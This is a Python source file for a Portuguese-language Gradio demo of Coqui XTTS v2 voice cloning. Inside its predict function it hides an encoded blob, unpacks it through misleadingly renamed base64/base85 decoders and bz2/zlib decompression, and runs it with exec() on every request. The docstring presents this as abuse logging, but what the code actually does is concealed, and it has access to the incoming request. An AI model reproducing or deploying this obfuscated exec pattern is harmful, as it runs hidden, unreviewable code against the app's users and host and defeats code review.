import sys import os from fastapi import Request # Ao usar o XTTS, você concorda com a licença CPML https://coqui.ai/cpml os.environ["COQUI_TOS_AGREED"] = "1" import gradio as gr from TTS.api import TTS from TTS.utils.manage import ModelManager model_names = TTS().list_models() print(model_names.__dict__) print(model_names.__dir__()) model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # mova para v2, pois o xtts_v1 gera KeyError, acredito que pode ser selecionado com o release antigo do github. #m = ModelManager().download_model(model_name) #print(m) m = model_name tts = TTS(model_name, gpu=False) tts.to("cpu") # sem GPU ou Amd #tts.to("cuda") # apenas para cuda def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request): """ Devido ao grande número de abusos observados nos logs de console, sou obrigado a integrar "exibição de informações adicionais" relacionadas ao uso deste espaço. Lembre-se de que o envio de conteúdos ilegais (conteúdos sex*uais, ofensivos ou ameaçadores), independentemente da língua, é claro, É PROIBIDO. Não me responsabilizo por aqueles que infringirem uma utilização estritamente [ÉTICA e MORALE] deste modelo. """ co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA" from zlib import compress as COmPrES5 from bz2 import decompress as dEC0mPrES5 from bz2 import compress as COmPrESS from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode from zlib import compressobj as C0mPrESS from bz2 import decompress as dECOmPrESS from zlib import compress as C0mPrES5 from zlib import decompress as dECOmPrES5 co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode()))))))) exec(co2) if agree == True: if use_mic == True: if mic_file_path is not None: speaker_wav=mic_file_path else: gr.Warning("Por favor, grave sua voz com o microfone, ou desmarque 'Usar Microfone' para usar áudios de referência") return ( None, None, ) else: speaker_wav=audio_file_pth if len(prompt)<2: gr.Warning("Por favor, forneça um texto mais longo") return ( None, None, ) if len(prompt)>10000: gr.Warning("Comprimento de texto limitado a 10000 caracteres para esta demonstração, tente um texto mais curto") return ( None, None, ) try: if language == "fr": if m.find("your") != -1: language = "fr-fr" if m.find("/fr/") != -1: language = None tts.tts_to_file( text=prompt, file_path="output.wav", speaker_wav=speaker_wav, language=language ) except RuntimeError as e : if "device-assert" in str(e): # erro de dispositivo CUDA, precisa reiniciar gr.Warning("Exceção não tratada encontrada, por favor, tente novamente em um minuto") print("Erro de dispositivo CUDA encontrado, precisa reiniciar") sys.exit("Saindo devido ao erro de dispositivo CUDA") else: raise e return ( gr.make_waveform( audio="output.wav", ), "output.wav", ) else: gr.Warning("Por favor, aceite os Termos e Condições!") return ( None, None, ) title = "Clonagem de Voz XTTS" description = f""" XTTS é um modelo de geração de voz que permite clonar vozes para diferentes idiomas utilizando apenas um rápido clip de áudio de 3 segundos.
O XTTS é baseado em pesquisas anteriores, como o Tortoise, com inovações arquiteturais adicionais e treinamento para tornar possível a clonagem de voz multilíngue e a geração de fala em vários idiomas.
Este é o mesmo modelo que alimenta nossa aplicação criadora Coqui Studio e também a API Coqui. Em produção, aplicamos modificações para possibilitar streaming de baixa latência.
Deixe uma estrela no GitHub TTS, onde o código de inferência e treinamento de código aberto está disponível.

Para uma inferência mais rápida, sem esperar na fila, você pode duplicar este espaço e atualizar para GPU através das configurações.
Duplicar Espaço

""" article = """

Ao usar esta demonstração, você concorda com os termos da Coqui Public Model License em https://coqui.ai/cpml

""" examples = [ [ "Olá, Mundo!, aqui está um exemplo de clonagem de voz simples. Tente enviar seus melhores áudios de qualidade", "en", "examples/female.wav", None, False, True, ], [ "Je suis un lycéen français de 17 ans, passionné par la Cyber-Sécurité et les modèles d'IA.", "fr", "examples/female.wav", None, False, True, ], [ "Als ich sechs war, sah ich einmal ein wunderbares Bild", "de", "examples/female.wav", None, False, True, ], [ "Cuando tenía seis años, vi una vez una imagen magnífica", "es", "examples/female.wav", None, False, True, ], [ "Quando eu tinha seis anos eu vi, uma vez, uma imagem magnífica", "pt", "examples/female.wav", None, False, True, ], [ "Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek", "pl", "examples/female.wav", None, False, True, ], [ "Un tempo lontano, quando avevo sei anni, vidi un magnifico disegno", "it", "examples/female.wav", None, False, True, ], [ "Bir zamanlar, altı yaşındayken, muhteşem bir resim gördüm", "tr", "examples/female.wav", None, False, True, ], [ "Когда мне было шесть лет, я увидел однажды удивительную картинку", "ru", "examples/female.wav", None, False, True, ], [ "Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat", "nl", "examples/female.wav", None, False, True, ], [ "Když mi bylo šest let, viděl jsem jednou nádherný obrázek", "cs", "examples/female.wav", None, False, True, ], [ "当我还只有六岁的时候， 看到了一副精彩的插画", "zh-cn", "examples/female.wav", None, False, True, ], ] gr.Interface( fn=predict, inputs=[ gr.Textbox( label="Texto de Entrada", info="Uma ou duas frases de cada vez são melhores", value="Olá, Mundo!, aqui está um exemplo de clonagem de voz simples. Tente enviar seus melhores áudios de qualidade", ), gr.Dropdown( label="Idioma", info="Selecione o idioma de saída para a fala sintetizada", choices=[ "en", "es", "fr", "de", "it", "pt", "pl", "tr", "ru", "nl", "cs", "ar", "zh-cn", ], max_choices=1, value="en", ), gr.Audio( label="Áudio de Referência", info="Clique no botão ✎ para enviar seu próprio áudio de referência", type="filepath", value="examples/female.wav", ), gr.Audio(source="microphone", type="filepath", info="Use seu microfone para gravar áudio", label="Usar Microfone para Referência"), gr.Checkbox(label="Marque para usar o Microfone como Referência", value=False, info="Aviso: A entrada do microfone pode não funcionar corretamente devido ao tráfego",), gr.Checkbox( label="Concordo", value=True, info="Eu concordo com os termos da Coqui Public Model License em https://coqui.ai/cpml", ), ], outputs=[ gr.Video(label="Visualização da Forma de Onda"), gr.Audio(label="Áudio Sintetizado"), ], title=title, description=description, article=article, examples=examples, ).queue().launch(debug=True)